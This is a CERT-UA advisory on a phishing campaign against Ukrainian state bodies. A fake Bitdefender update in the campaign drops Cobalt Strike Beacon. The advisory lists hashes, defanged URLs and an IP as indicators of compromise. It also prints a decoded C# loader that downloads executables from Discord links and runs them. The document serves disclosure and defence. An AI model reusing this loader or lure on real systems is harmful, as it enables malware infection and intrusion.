

Cyberattack on the state authorities of Ukraine using the malicious program Cobalt Strike Beacon (CERT-UA # 4145)

General Information

The Governmental Computer Emergency Response Team of Ukraine CERT-UA received a notification from the coordinating entities on the distribution of e-mails on behalf of the state bodies of Ukraine with instructions on how to increase the level of information security. The body of the letter contains a link to the website `hxxps://forkscenter[.]fr/`, from which it is proposed to download "critical updates" in the form of a file "BitdefenderWindowsUpdatePackage.exe" of about 60 MB.

It was found that the mentioned file will ensure the execution of the bootloader "alt.exe", which will download the files "one.exe" and "dropper.exe" from the Discord service and run them. The study found that running "one.exe" would damage your computer with the malicious program Cobalt Strike Beacon. The executable file "dropper.exe" will load base64-encoded data and decode it into an EXE file developed using the Go programming language. File analysis continues. Note that EXE files are protected by Themida protector.

We associate the detected activity with the activity of the UAC-0056 group with an average level of confidence.

Indicators of compromise

Files:

```
ca9290709843584aecbd6564fb978bd6 Instruction on anti-virus protection.doc  
(bait document)  
cf204319f7397a6a31ecf76c9531a549 User guide.doc (bait document)  
b8b7a10dcc0dad157191620b5d4e5312 BitdefenderWindowsUpdatePackage.exe  
2fdf9f3a25e039a41e743e19550d4040 alt.exe  
aa5e8268e741346c76ebfd1f27941a14 one.exe (contains Cobalt Strike Beacon)  
15c525b74b7251cfa1f7c471975f3f95 dropper.exe  
c8bf238641621212901517570e96fae7 i.exe
```

Network:

```
hxxps: // forkscenter [.] fr / BitdefenderWindowsUpdatePackage.exe  
hxxps: //cdn.discordapp [.] com / attachments /  
947916997713358890/949948174636830761 / one.exe  
hxxps: //cdn.discordapp [.] com / attachments /
```

947916997713358890/949948174838165524 / dropper.exe

hxxps://nirsoft[.]me/s/2MYmbwpSJLZRAtXRgNTAUjJSH6SSoicLPIrQl/field-keywords/

hxxp://45[.]84.0.116:443/i

forkscenter[.]fr (2022-01-29)

nirsoft[.]me (2022-02-17)

45[.]84.0.116

Hosts:

%TMP%\alt.exe

%PROGRAMDATA%\one.exe

%PROGRAMDATA%\dropper.exe

Graphic images

The composite image consists of several parts:

- Top Left:** A screenshot of an email from gov.ua dated Thu 3/10/2022 3:25 PM. The subject is 'Instrukcja z antywirusowego zaawstwu.doc (44 KB)'. The text discusses the activation of computer attacks on Ukrainian information systems and provides instructions for security updates and antivirus software.
- Top Right:** A screenshot of the Bitdefender website, highlighting the '20 ans d'innovation en cybersécurité' banner and navigation links for 'Particuliers', 'Entreprises', 'Fournisseurs', and 'Partenaires'.
- Bottom Left:** A screenshot of a network traffic analysis tool showing a list of connections. A red box highlights a connection to 'https://45.84.0.116:443/i' with a status of 'Success'.
- Bottom Center:** A diagram showing a flow of data. A box labeled 'Beacon' points to a box containing the URL 'http://45.84.0.116:443/i'. This URL points to a box labeled 'BASE64', which in turn points to a box containing a C# code snippet. The code snippet is:

```
public static void Main() { WebClient webClient = new WebClient(); webClient.DownloadFile("https://cdn.discordapp.com/attachments/947916997713358890/949948174636830761/one.exe", "C:\\ProgramData\\one.exe"); Thread.Sleep(1000); Process.Start("C:\\ProgramData\\one.exe"); Thread.Sleep(1000); webClient.DownloadFile("https://cdn.discordapp.com/attachments/947916997713358890/949948174838165524/dropper.exe", "C:\\ProgramData\\dropper.exe"); Thread.Sleep(1000); Process.Start("C:\\ProgramData\\dropper.exe"); }
```
- Bottom Right:** A screenshot of the Bitdefender Windows Update package, labeled 'BitdefenderWindowsUpdatePac.kage.exe'.